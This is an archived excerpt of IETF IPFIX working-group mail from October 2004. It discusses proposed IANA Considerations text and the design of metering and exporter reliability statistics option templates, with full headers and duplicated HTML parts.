Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Nevil,

I think that even Informational RFC must distinguish between Normative 
and Informative references.
This is currently not the case in the IPFIX architecture draft.

Regards, Benoit.

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Thu Oct 21 06:48:45 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA27497
	for <ipfix-archive@lists.ietf.org>; Thu, 21 Oct 2004 06:48:45 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CKa7y-0006P4-00
	for ipfix-list@mil.doit.wisc.edu; Thu, 21 Oct 2004 05:25:02 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CKa7l-0006NV-00
	for ipfix-protocol@net.doit.wisc.edu; Thu, 21 Oct 2004 05:24:50 -0500
Received: from [192.168.0.1] (ams-clip-vpn-dhcp4180.cisco.com [10.61.80.83])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i9LAOm121322
	for <ipfix-protocol@net.doit.wisc.edu>; Thu, 21 Oct 2004 12:24:48 +0200 (CEST)
Message-ID: <41778E6D.9040003@cisco.com>
Date: Thu, 21 Oct 2004 12:24:45 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] IPFIX PROTO-26: New IANA text + improved IANA text for the architecture
 draft.
Content-Type: multipart/alternative;
 boundary="------------030101090006060407090204"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------030101090006060407090204
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Dear all,

 From the freshly posted IPFIX architecture draft, I used the IANA 
section as a starting point.
I modified it a little bit and inserted the new section for the next 
version of the IPFIX protocol draft.
I think the changes below must also be applied to the IPFIX architecture 
draft.

Modifications:
- The Template Number can change but the Set ID is fixed. You must 
replace the Template ID but the Set ID
- Capitalized Information Elements and IPFIX Message
- "Changes in IPFIX Field Type will be administered by IANA" -> "New 
assignments for IPFIX Field Types will be administered by IANA"
- I added "on first come first serve basis [RFC 2434] ", as specified in 
RFC 2434
- I change "subject to Expert Review" to "subject to Expert Review [RFC 
2434]"
- I added "The group of experts must double check the Information 
Elements definitions for completeness, accuracy and redundancy with 
already defined Informations Elements."
- I added "The IANA assignments for IPFIX Field Types will range from 
128 to 32767; the values below 128 are reserved or assigned already; the 
values ranging from 32768 to 65535 are allocated for private use by 
vendors."


New proposed section:

16. IANA Considerations

The IPFIX Protocol, as set out in this document, has two sets of 
assigned numbers. Considerations for assigning them are discussed in 
this section, using the example policies as set out in the "Guidelines 
for IANA Considerations" document IANA-RFC [RFC2434].

16.1 Numbers used in the Protocol

IPFIX Messages use two fields with assigned values. These are the IPFIX 
Version Number, indicating which version of the IPFIX Protocol was used 
to export an IPFIX Message, and the IPFIX Set ID, indicating the type 
for each set of information within an IPFIX Message.

Changes in either IPFIX Version Number or IPFIX Set ID assignments 
require an IETF Consensus, i.e. they are to be made via RFCs approved by 
the IESG.

16.2 Numbers used in the Information Model

Fields of the IPFIX protocol carry information about traffic 
measurement. They are modeled as elements of the IPFIX information model 
[IPFIX-INFO]. Each Information Element describes a field which may 
appear in an IPFIX Message. Within an IPFIX Message the field type is 
indicated by its Field Type.

New assignments for IPFIX Field Types will be administered by IANA, on 
First Come First Serve basis [RFC 2434] , subject to Expert Review [RFC 
2434], i.e. review by one of a group of experts designated by an IETF 
Operations and Management Area Director. The group of experts must 
double check the Information Elements definitions for completeness, 
accuracy and redundancy with already defined Informations Elements. 
Those experts will initially be drawn from the Working Group Chairs and 
document editors of the IPFIX and PSAMP Working Groups. The IANA 
assignments for IPFIX Field Types will range from 128 to 32767; the 
values below 128 are reserved or assigned already; the values ranging 
from 32768 to 65535 are allocated for private use by vendors.


[RFC2434] Alvestrand, H. and T. Narten, "Guidelines for Writing an IANA
Considerations Section in RFCs", RFC 2434, October 1998.

As always, feedback?

Regards, Benoit.

--------------030101090006060407090204
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
Dear all,<br>
<br>
From the freshly posted IPFIX architecture draft, I used the IANA
section as a starting point.<br>
I modified it a little bit and inserted the new section for the next
version of the IPFIX protocol draft.<br>
I think the changes below must also be applied to the IPFIX
architecture draft.<br>
<br>
Modifications:<br>
- The Template Number can change but the Set ID is fixed. You must
replace the Template ID but the Set ID<br>
- Capitalized Information Elements and IPFIX Message<br>
- "Changes in IPFIX Field Type will be administered by IANA" -&gt; "New
assignments for IPFIX Field Types will be administered by IANA"<br>
- I added "on first come first serve basis [RFC 2434] ", as specified
in RFC 2434<br>
- I change "subject to Expert Review" to "subject to Expert Review [RFC
2434]"<br>
- I added "<font color="#000000">The group of experts must double check
the
Information Elements definitions for completeness, accuracy and
redundancy with already defined Informations Elements."<br>
- I added "</font>The IANA assignments for IPFIX Field Types will range
from 128 to
32767; the values below 128 are reserved or assigned already; the
values ranging from 32768 to 65535 are allocated for private use by
vendors."<br>
<br>
<font color="#000000"><br>
New proposed section:<br>
</font><br>
16. IANA Considerations<br>
<br>
The IPFIX Protocol, as set out in this document, has two sets of
assigned numbers. Considerations for assigning them are discussed in
this section, using the example policies as set out in the "Guidelines
for IANA Considerations" document IANA-RFC [RFC2434].<br>
<br>
16.1 Numbers used in the Protocol<br>
<br>
IPFIX Messages use two fields with assigned values. These are the IPFIX
Version Number, indicating which version of the IPFIX Protocol was used
to export an IPFIX Message, and the IPFIX Set ID, indicating the type
for each set of information within an IPFIX Message.<br>
<br>
Changes in either IPFIX Version Number or IPFIX Set ID assignments
require an IETF Consensus, i.e. they are to be made via RFCs approved
by the IESG.<br>
<br>
16.2 Numbers used in the Information Model<br>
<br>
Fields of the IPFIX protocol carry information about traffic
measurement. They are modeled as elements of the IPFIX information
model [IPFIX-INFO]. Each Information Element describes a field which
may appear in an IPFIX Message. Within an IPFIX Message the field type
is indicated by its Field Type.<br>
<br>
New assignments for IPFIX Field Types will be administered by IANA, on
First Come First Serve basis [RFC 2434] , subject to Expert Review [RFC
2434], i.e. review by one of a group of experts designated by an IETF
Operations and Management Area Director. <font color="#000000">The
group of experts must double check the
Information Elements definitions for completeness, accuracy and
redundancy with already defined Informations Elements. T</font>hose
experts will initially be drawn from the Working Group Chairs and
document editors of the IPFIX and PSAMP Working Groups. The IANA
assignments for IPFIX Field Types will range from 128 to 32767; the
values below 128 are reserved or assigned already; the values ranging
from 32768 to 65535 are allocated for private use by vendors.<br>
<span style="font-size: 12pt; font-family: &quot;Courier New&quot;;"><span
 style=""></span></span><br>
<br>
[RFC2434] Alvestrand, H. and T. Narten, "Guidelines for Writing an IANA<br>
Considerations Section in RFCs", RFC 2434, October 1998.<br>
<br>
As always, feedback?<br>
<br>
Regards, Benoit.<br>
</body>
</html>

--------------030101090006060407090204--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Thu Oct 21 17:26:28 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02033
	for <ipfix-archive@lists.ietf.org>; Thu, 21 Oct 2004 17:26:27 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CKk60-0007Li-00
	for ipfix-list@mil.doit.wisc.edu; Thu, 21 Oct 2004 16:03:40 -0500
Received: from web60508.mail.yahoo.com ([216.109.116.129])
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1CKk5i-0007Jk-00
	for ipfix-protocol@net.doit.wisc.edu; Thu, 21 Oct 2004 16:03:22 -0500
Message-ID: <20041021210321.7287.qmail@web60508.mail.yahoo.com>
Received: from [62.10.89.120] by web60508.mail.yahoo.com via HTTP; Thu, 21 Oct 2004 23:03:21 CEST
Date: Thu, 21 Oct 2004 23:03:21 +0200 (CEST)
From: Maurizio Molina <sanmaurro68@yahoo.it>
Subject: Re: [Fwd: [ipfix-protocol] PROTO-21: metering process statistics      option template]
To: bclaise@cisco.com, ipfix-protocol@net.doit.wisc.edu
In-Reply-To: <3979.10.1.1.83.1098392558.squirrel@10.1.1.83>
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1047902291-1098392601=:5298"
Content-Transfer-Encoding: 8bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

--0-1047902291-1098392601=:5298
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit


Benoit,

some comments on your proposal.

First, since the Exporter Reliability Statistics options template, as you say "specifies lack of reliability in the Metering and Exporting process" I think its name is not appropriate. A possibility would be to call it "Meter and Exporter Reliability Statistics options template", but I don’t like it either, as it mixes things up. My suggestion would be to call it "Meter Reliability Statistics options template", and move the "dropped flows" Information element into another options template (see later). Also, I would insert into this "Meter Reliability Statistics options template"two other information elements giving the time of the first and the last dropped packet. This time information is easy to get and update (if the metering process drops a packet and can update the droppedFUByteCount, it can also easily update a timestamp of this event: probably the timestamp is in the same data structure giving the number of bytes of the dropped packet….). The time information is useful to
 understand the dynamic of the aggregated flow of all the packets dropped by the metering process. The value of the ipfixOption field should become "METER_RELIABILITY_STATS"

Second, as said, I would put the "dropped flows" information element in another option template, call it "Exporter Reliability Statistics Option template", and give "EXPORTER_RELIABILITY_STATS" as a value to its ipfixOption field. This option template should contain at least the ipfixOption, the droppedFlows and the time information elements (with the same meaning as in the Meter Reliability Statistics options template). My suggestion, however, would be to add other four information elements to it, and namely:

-droppedFAPacketCount packets in the dropped flows

-droppedFAByteCount bytes in the dropped flows

-timeFirstFADropped time of the first packet received in one of the dropped flows

-timeLastFADropped time of the last packet received in one of the dropped flows

These are, once again, information easy to get and to update: each time you decide to drop a flow you have the full flow record, so you know how many packets and bytes you’re dropping, and you also have the time of the first and last packet of the record: you can compare them with the timeFirstFADropped and timeLastFADropped and update them if necessary. In this way you have the full dynamic of the aggregated flow resulting from all the drop in the exporting process.

This would be more in line with my original suggestion, whose intent was to give the collector an idea of the amount and dynamic of the LOST traffic, so that it can compare it with the REPORTED traffic.

A final note: a flow could be dropped not only because of starvation of the exporting process, but also because of policies of the flow recording process. Perhaps the wording can be adjusted to say this….

Regards,

Maurizio



---------------------------- Original Message ----------------------------
Subject: [ipfix-protocol] PROTO-21: metering process statistics option
template From: "Benoit Claise" 
Date: Wed, October 20, 2004 13:06
To: ipfix-protocol@net.doit.wisc.edu
--------------------------------------------------------------------------

Dear all,

The IPFIX protocol version 5 lists this remaining issue.
http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt

PROTO-21: Do we need to define some mandatory content of the
metering process statistics option template?
- Maurizio suggested text on the mailing list
- proposal after IETF60: look at what is required in [IPFIX-
REQ], and come up with a minimum set of data types.
Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; needed 
for the metering process statistics

The text in section "8.1 The Metering Process Statistics Option Template"
is not complete:


*8.1 The Metering Process Statistics Option Template

The Metering Process Statistics Option Template defines the Metering 
Process Statistics with the export of the following Information 
Elements [IPFIX-INFO]:
ipfixOption The value MUST be METER_STATS
observationDomain Source ID
lostFlows Flows not exported due to resource
starvation
lostFlowsPackets Packets in the lost Flows
lostFlowsBytes Bytes in the lost Flows
droppedPacketCount Packets dropped by Metering Process
at the Observation Point
droppedByteCount Bytes dropped by Metering Process at the
Observation Domain
time; When this record was generated

The minimum set of Information Element in the Metering Process 
Statistics Option Template is: ipfixOption, observationDomain, 
lostFlows, time *

<>**I think this version comes from discussion between Maurizio and I, 
but I'm not too sure anymore, as this is pretty old. Maurizio proposed 
some new text at http://ipfix.doit.wisc.edu/archive/2407.html

We should discuss whether we need some mandatory information element 
exported. If yes, which one? I reviewed the IPFIX requirement draft 
http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt, and the
applicable sections are:

5.1. Reliability

The metering process must either be reliable or the absence of
reliability must be known and indicated. The metering process is
reliable if each packet passing the observation point is metered
according to the configuration of the metering process. If, e.g. due
to some overload, not all passing packets can be included into the
metering process, then the metering process must be able to detect
this failure and to report it.

6.5. Regular Reporting Interval

The exporting process should be capable of reporting measured traffic
data regularly according to a given interval length.

6.3.2 -> discusses also the data transfer reliability: somehow related.

A couple of points to Maurizio's proposal, that leads to the simplified
proposal below: - I don't think we need to export the Observation Domain
ID, as the scope field will determine whether the scope is the interface,
the Observation Domain ID, etc... - There are 2 different requirements in
RFC3917, so we should have 2 different options template records - I think
we should remove the MUST, SHOULD, MAY requirement in the flow expiration
section because the requirements imposed constraints on the metering
process, and we are standardizing the IP Flow Information eXport.
As a consequence, we should not put MUST, SHOULD, MAY requirements on
the Metering Process in order to export those Option Templates.
- If you have a metering process resource starvation how can you know how
many flows have been lost? It is impossible to determine how many packets
are in that flow because you can not keep flow information. All you can do
is keep the count of how many packets and bytes that did not fit into the
flow table.


Here is the text I propose.

* 8. Specific Reporting Requirements

Some specific Options Templates and Options Templates Records are 
necessary to provide extra information about the Flow Records and 
about the Metering Process.

The ipfixOption Field [IPFIX-INFO], always included in these
specific Options Templates, defines the type of information sent in 
the Option Template / Option Template Record pair. For example, if 
the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option 
Template will specify information about the Metering Process
statistics.

The Option Template and Option Template Records defined in these
sub-sections are not mandatory to implement as they impose some
constraints about the Metering Process implementation: this document
specifies the protocol to export the records, not the Metering Process
implementation. However, if the specific Option Templates are
implemented, they should implemented as specified in these
sub-sections. In any case, if the ipfixOption Information Element is
present, it MUST always be the first Information Element in the Option
Template so that the Collector can quickly determine which specific
Option Template Record is received.

The minimum set of Information Elements is always specified in these 
Specific IPFIX Options Templates. Nevertheless, extra Information 
Elements may be used in these specific Options Templates. **

8.1 The Metering Process Statistics Option Template

The Metering Process Statistics Option Template specifies the Metering 
Process Statistics. It contains the following Information
Elements [IPFIX-INFO]
ipfixOption The value is METERING_STATS
exportedOctetCount The number of all octets reported
by the Exporting Process to the
Collecting Process.
exportedPacketCount The number of all packets reported
by the exporting process to the
Collecting Process.
** exportedFlowCount The number of all flows records
reported by the Exporting Process
to the Collecting Process.** *
* time The time at which the record was generated

The Exporting Process should export the Metering Process Statistics Option
Template Record on a regular basis or based on some export policy. This
periodicity or export policy should be configurable. The **Metering 
Process Statistics Option Template could be extended with other
Information Elements.***
*
* *8.2 The Exporter Reliability Statistics Option Template **

The Exporter Reliability Option Template specifies information
about lack of reliability in the Metering and Exporting process.
**It contains the following Information Elements [IPFIX-INFO]:*
*
ipfixOption The value is RELIABILITY_STATS
** droppedFUPacketCount Packets dropped by Metering Process ** 
droppedFUOctetCount Bytes dropped by Metering Process** * * 
droppedFlows Number of flow records lost due to resources
starvation at Exporting Process
** time The time at which the record was generated
** *
*The Exporting Process should export the Exporter Reliability Statistics
Option Template Record on a regular basis or based on some export policy.
This periodicity or export policy should be configurable. **The **Exporter
Reliability Statistics **Option Template could be extended with other
Information Elements.

*Note that the ipfixOption, time, droppedFUPacketCount,
droppedFUByteCount, and droppedFlows are not yet specified in [IPFIX-INFO]

Regards, Benoit.
*
*




Dear all,


The IPFIX protocol version 5 lists this remaining issue.http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt PROTO-21: Do we need to define some mandatory content of the    metering process statistics option template?        - Maurizio suggested text on the mailing list        - proposal after IETF60: look at what is required in [IPFIX-   REQ], and come up with a minimum set of data types.    Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; needed    for the metering process statisticsThe text in section "8.1 The Metering Process Statistics Option Template" is not complete:

 8.1      The Metering Process Statistics Option Template     The Metering Process Statistics Option Template defines the Metering    Process Statistics with the export of the following Information    Elements [IPFIX-INFO]:        ipfixOption             The value MUST be METER_STATS        observationDomain       Source ID        lostFlows               Flows not exported due to resource                                  starvation        lostFlowsPackets        Packets in the lost Flows        lostFlowsBytes          Bytes in the lost Flows         droppedPacketCount      Packets dropped by Metering Process                             at the Observation Point    droppedByteCount        Bytes dropped by Metering Process at the                                  Observation Domain         time;                   When this record was generated     The minimum set of Information Element in the Metering Process    Statistics Option Template is: ipfixOption, observationDomain,    lostFlows,
 time 
<>I think this version comes from discussion between Maurizio and I, but I'm not too sure anymore, as this is pretty old. Maurizio proposed some new text at http://ipfix.doit.wisc.edu/archive/2407.html 

We should discuss whether we need some mandatory information element exported. If yes, which one? I reviewed the IPFIX requirement draft http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt, and the applicable sections are: 5.1. Reliability

The metering process must either be reliable or the absence of
reliability must be known and indicated. The metering process is
reliable if each packet passing the observation point is metered
according to the configuration of the metering process. If, e.g. due
to some overload, not all passing packets can be included into the
metering process, then the metering process must be able to detect
this failure and to report it.
6.5. Regular Reporting Interval

The exporting process should be capable of reporting measured traffic
data regularly according to a given interval length.

6.3.2 -> discusses also the data transfer reliability: somehow related.

A couple of points to Maurizio's proposal, that leads to the simplified proposal below:- I don't think we need to export the Observation Domain ID, as the scope field will determine whether the scope is the interface, the Observation Domain ID, etc...- There are 2 different requirements in RFC3917, so we should have 2 different options template records- I think we should remove the MUST, SHOULD, MAY requirement in the flow expiration section because the requirements imposed constraints on the metering process, and we are standardizing the IP Flow Information eXport.  As a consequence, we should not put MUST, SHOULD, MAY requirements on the Metering Process in order to export those Option Templates.- If you have a metering process resource starvation how can you know how many flows have been lost? It is impossible to determine how many packets arein that flow because you can not keep flow information. All you can do is keep the count of how many packets and bytes that did not fit into
 theflow table.Here is the text I propose. 8.     Specific Reporting Requirements        Some specific Options Templates and Options Templates Records are    necessary to provide extra information about the Flow Records and    about the Metering Process.          The ipfixOption Field [IPFIX-INFO], always included in these    specific Options Templates, defines the type of information sent in    the Option Template / Option Template Record pair.  For example, if    the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option    Template will specify information about the Metering Process    statistics.    The Option Template and Option Template Records defined in these sub-sections    are not mandatory to implement as they impose some constraints about    the Metering Process implementation: this document specifies the protocol   to export the records, not the Metering Process implementation.   However, if the specific Option Templates are implemented, they should   
 implemented as specified in these sub-sections.  In any case, if the    ipfixOption Information Element is present, it MUST always be the first    Information Element in the Option Template so that the Collector   can quickly determine which specific Option Template Record is received.        The minimum set of Information Elements is always specified in these    Specific IPFIX Options Templates.  Nevertheless, extra Information    Elements may be used in these specific Options Templates.    8.1      The Metering Process Statistics Option Template  The Metering Process Statistics Option Template specifies the Metering Process Statistics. It contains the following Information Elements [IPFIX-INFO]      ipfixOption             The value is METERING_STATS      exportedOctetCount      The number of all octets reported                              by the Exporting Process to the                             Collecting Process.     exportedPacketCount     The number of all packets reported
                              by the exporting process to the                             Collecting Process.     exportedFlowCount       The number of all flows records                              reported by the Exporting Process                             to the Collecting Process.      time                    The time at which the record was generated  The Exporting Process should export the Metering Process Statistics Option Template Record on a regular basis or based on some export policy. This periodicity or export policy should be configurable. The Metering Process Statistics Option Template could be extended with other Information Elements. 8.2      The Exporter Reliability Statistics Option Template The Exporter Reliability Option Template specifies information about lack of reliability in the Metering and Exporting process.It contains the following Information Elements [IPFIX-INFO]:     ipfixOption             The value is RELIABILITY_STATS     droppedFUPacketCount   
 Packets dropped by Metering Process     droppedFUOctetCount     Bytes dropped by Metering Process      droppedFlows            Number of flow records lost due to resources                              starvation at Exporting Process     time                    The time at which the record was generated The Exporting Process should export the Exporter Reliability Statistics Option Template Record on a regular basis or based on some export policy. This periodicity orexport policy should be configurable. The Exporter Reliability Statistics Option Template could be extended with other Information Elements.Note that the ipfixOption, time, droppedFUPacketCount, droppedFUByteCount, and droppedFlows are not yet specified in [IPFIX-INFO]Regards, Benoit.


				
---------------------------------
Nuovo Yahoo! Messenger E' molto più divertente: Audibles, Avatar, Webcam, Giochi, Rubrica… Scaricalo ora! 
--0-1047902291-1098392601=:5298
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

<DIV>
<BLOCKQUOTE class=replbq style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"><FONT size=2>
<P>Benoit,</P>
<P>some comments on your proposal.</P>
<P>First, since the Exporter Reliability Statistics options template, as you say "specifies lack of reliability in the Metering and Exporting process" I think its name is not appropriate. A possibility would be to call it "Meter and Exporter Reliability Statistics options template", but I don’t like it either, as it mixes things up. My suggestion would be to call it "Meter Reliability Statistics options template", and move the "dropped flows" Information element into another options template (see later). Also, I would insert into this "Meter Reliability Statistics options template"two other information elements giving the time of the first and the last dropped packet. This time information is easy to get and update (if the metering process drops a packet and can update the droppedFUByteCount, it can also easily update a timestamp of this event: probably the timestamp is in the same data structure giving the number of bytes of the dropped packet….). The time information is useful to
 understand the dynamic of the aggregated flow of all the packets dropped by the metering process. The value of the ipfixOption field should become "METER_RELIABILITY_STATS"</P>
<P>Second, as said, I would put the "dropped flows" information element in another option template, call it "Exporter Reliability Statistics Option template", and give "EXPORTER_RELIABILITY_STATS" as a value to its ipfixOption field. This option template should contain at least the ipfixOption, the droppedFlows and the time information elements (with the same meaning as in the Meter Reliability Statistics options template). My suggestion, however, would be to add other four information elements to it, and namely:</P>
<P>-droppedFAPacketCount packets in the dropped flows</P>
<P>-droppedFAByteCount bytes in the dropped flows</P>
<P>-timeFirstFADropped time of the first packet received in one of the dropped flows</P>
<P>-timeLastFADropped time of the last packet received in one of the dropped flows</P>
<P>These are, once again, information easy to get and to update: each time you decide to drop a flow you have the full flow record, so you know how many packets and bytes you’re dropping, and you also have the time of the first and last packet of the record: you can compare them with the timeFirstFADropped and timeLastFADropped and update them if necessary. In this way you have the full dynamic of the aggregated flow resulting from all the drop in the exporting process.</P>
<P>This would be more in line with my original suggestion, whose intent was to give the collector an idea of the amount and dynamic of the LOST traffic, so that it can compare it with the REPORTED traffic.</P>
<P>A final note: a flow could be dropped not only because of starvation of the exporting process, but also because of policies of the flow recording process. Perhaps the wording can be adjusted to say this….</P>
<P>Regards,</P>
<P>Maurizio</P>
<P></P></FONT>
<P>---------------------------- Original Message ----------------------------<BR>Subject: [ipfix-protocol] PROTO-21: metering process statistics option<BR>template From: "Benoit Claise" <BCLAISE@CISCO.COM><BR>Date: Wed, October 20, 2004 13:06<BR>To: ipfix-protocol@net.doit.wisc.edu<BR>--------------------------------------------------------------------------<BR><BR>Dear all,<BR><BR>The IPFIX protocol version 5 lists this remaining issue.<BR>http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt<BR><BR>PROTO-21: Do we need to define some mandatory content of the<BR>metering process statistics option template?<BR>- Maurizio suggested text on the mailing list<BR>- proposal after IETF60: look at what is required in [IPFIX-<BR>REQ], and come up with a minimum set of data types.<BR>Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; needed <BR>for the metering process statistics<BR><BR>The text in section "8.1 The Metering Process Statistics Option Template"<BR>is
 not complete:<BR><BR><BR>*8.1 The Metering Process Statistics Option Template<BR><BR>The Metering Process Statistics Option Template defines the Metering <BR>Process Statistics with the export of the following Information <BR>Elements [IPFIX-INFO]:<BR>ipfixOption The value MUST be METER_STATS<BR>observationDomain Source ID<BR>lostFlows Flows not exported due to resource<BR>starvation<BR>lostFlowsPackets Packets in the lost Flows<BR>lostFlowsBytes Bytes in the lost Flows<BR>droppedPacketCount Packets dropped by Metering Process<BR>at the Observation Point<BR>droppedByteCount Bytes dropped by Metering Process at the<BR>Observation Domain<BR>time; When this record was generated<BR><BR>The minimum set of Information Element in the Metering Process <BR>Statistics Option Template is: ipfixOption, observationDomain, <BR>lostFlows, time *<BR><BR>&lt;&gt;**I think this version comes from discussion between Maurizio and I, <BR>but I'm not too sure anymore, as this is pretty old. Maurizio
 proposed <BR>some new text at http://ipfix.doit.wisc.edu/archive/2407.html<BR><BR>We should discuss whether we need some mandatory information element <BR>exported. If yes, which one? I reviewed the IPFIX requirement draft <BR>http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt, and the<BR>applicable sections are:<BR><BR>5.1. Reliability<BR><BR>The metering process must either be reliable or the absence of<BR>reliability must be known and indicated. The metering process is<BR>reliable if each packet passing the observation point is metered<BR>according to the configuration of the metering process. If, e.g. due<BR>to some overload, not all passing packets can be included into the<BR>metering process, then the metering process must be able to detect<BR>this failure and to report it.<BR><BR>6.5. Regular Reporting Interval<BR><BR>The exporting process should be capable of reporting measured traffic<BR>data regularly according to a given interval length.<BR><BR>6.3.2 -&gt;
 discusses also the data transfer reliability: somehow related.<BR><BR>A couple of points to Maurizio's proposal, that leads to the simplified<BR>proposal below: - I don't think we need to export the Observation Domain<BR>ID, as the scope field will determine whether the scope is the interface,<BR>the Observation Domain ID, etc... - There are 2 different requirements in<BR>RFC3917, so we should have 2 different options template records - I think<BR>we should remove the MUST, SHOULD, MAY requirement in the flow expiration<BR>section because the requirements imposed constraints on the metering<BR>process, and we are standardizing the IP Flow Information eXport.<BR>As a consequence, we should not put MUST, SHOULD, MAY requirements on<BR>the Metering Process in order to export those Option Templates.<BR>- If you have a metering process resource starvation how can you know how<BR>many flows have been lost? It is impossible to determine how many packets<BR>are in that flow because you can
 not keep flow information. All you can do<BR>is keep the count of how many packets and bytes that did not fit into the<BR>flow table.<BR><BR><BR>Here is the text I propose.<BR><BR>* 8. Specific Reporting Requirements<BR><BR>Some specific Options Templates and Options Templates Records are <BR>necessary to provide extra information about the Flow Records and <BR>about the Metering Process.<BR><BR>The ipfixOption Field [IPFIX-INFO], always included in these<BR>specific Options Templates, defines the type of information sent in <BR>the Option Template / Option Template Record pair. For example, if <BR>the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option <BR>Template will specify information about the Metering Process<BR>statistics.<BR><BR>The Option Template and Option Template Records defined in these<BR>sub-sections are not mandatory to implement as they impose some<BR>constraints about the Metering Process implementation: this document<BR>specifies the protocol to
 export the records, not the Metering Process<BR>implementation. However, if the specific Option Templates are<BR>implemented, they should implemented as specified in these<BR>sub-sections. In any case, if the ipfixOption Information Element is<BR>present, it MUST always be the first Information Element in the Option<BR>Template so that the Collector can quickly determine which specific<BR>Option Template Record is received.<BR><BR>The minimum set of Information Elements is always specified in these <BR>Specific IPFIX Options Templates. Nevertheless, extra Information <BR>Elements may be used in these specific Options Templates. **<BR><BR>8.1 The Metering Process Statistics Option Template<BR><BR>The Metering Process Statistics Option Template specifies the Metering <BR>Process Statistics. It contains the following Information<BR>Elements [IPFIX-INFO]<BR>ipfixOption The value is METERING_STATS<BR>exportedOctetCount The number of all octets reported<BR>by the Exporting Process to
 the<BR>Collecting Process.<BR>exportedPacketCount The number of all packets reported<BR>by the exporting process to the<BR>Collecting Process.<BR>** exportedFlowCount The number of all flows records<BR>reported by the Exporting Process<BR>to the Collecting Process.** *<BR>* time The time at which the record was generated<BR><BR>The Exporting Process should export the Metering Process Statistics Option<BR>Template Record on a regular basis or based on some export policy. This<BR>periodicity or export policy should be configurable. The **Metering <BR>Process Statistics Option Template could be extended with other<BR>Information Elements.***<BR>*<BR>* *8.2 The Exporter Reliability Statistics Option Template **<BR><BR>The Exporter Reliability Option Template specifies information<BR>about lack of reliability in the Metering and Exporting process.<BR>**It contains the following Information Elements [IPFIX-INFO]:*<BR>*<BR>ipfixOption The value is RELIABILITY_STATS<BR>**
 droppedFUPacketCount Packets dropped by Metering Process ** <BR>droppedFUOctetCount Bytes dropped by Metering Process** * * <BR>droppedFlows Number of flow records lost due to resources<BR>starvation at Exporting Process<BR>** time The time at which the record was generated<BR>** *<BR>*The Exporting Process should export the Exporter Reliability Statistics<BR>Option Template Record on a regular basis or based on some export policy.<BR>This periodicity or export policy should be configurable. **The **Exporter<BR>Reliability Statistics **Option Template could be extended with other<BR>Information Elements.<BR><BR>*Note that the ipfixOption, time, droppedFUPacketCount,<BR>droppedFUByteCount, and droppedFlows are not yet specified in [IPFIX-INFO]<BR><BR>Regards, Benoit.<BR>*<BR>*<BR><BR><BR><BR><BR><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">Dear all,<BR></P><PRE>The IPFIX protocol version 5 lists this remaining issue.
<A class=moz-txt-link-freetext href="http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt">http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt</A>

&nbsp;PROTO-21: Do we need to define some mandatory content of the 
   metering process statistics option template? 
       - Maurizio suggested text on the mailing list 
       - proposal after IETF60: look at what is required in [IPFIX-
   REQ], and come up with a minimum set of data types. 
   Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; needed 
   for the metering process statistics

The text in section "8.1 The Metering Process Statistics Option Template" is not complete:

</PRE>
<BLOCKQUOTE><PRE>&nbsp;<B>8.1      The Metering Process Statistics Option Template 
 
